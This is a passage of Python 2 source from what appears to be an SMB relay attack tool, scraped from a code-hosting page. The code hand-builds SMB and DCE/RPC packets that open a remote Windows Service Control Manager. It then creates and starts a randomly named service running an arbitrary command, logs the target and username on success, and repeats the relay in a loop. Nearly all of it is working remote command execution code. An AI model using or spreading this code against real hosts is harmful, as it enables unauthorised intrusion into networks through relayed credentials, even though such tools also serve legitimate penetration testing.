head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLCreateService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
|
||||
print "[+] Creating service"
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
ContextHandler = data[88:108]
|
||||
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
||||
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLOpenService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to create the service"
|
||||
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLStartService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open the service"
|
||||
ContextHandler = data[88:108]
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
||||
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x2e\x00":
|
||||
print "[+] Command successful !"
|
||||
Logs.info('Command successful:')
|
||||
Logs.info(Target+","+Username+','+CMD)
|
||||
return True
|
||||
if data[8:10] != "\x2e\x00":
|
||||
return False
|
||||
|
||||
|
||||
def RunInloop(Target,Command,Domain):
|
||||
try:
|
||||
while True:
|
||||
worker = RunRelay(Target,Command,Domain)
|
||||
except:
|
||||
raise
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
thread.start_new(RunInloop,(Target,Command,Domain))
|
||||
except KeyboardInterrupt:
|
||||
exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
raw_input()
|
||||
Loading…
Add table
Add a link
Reference in a new issue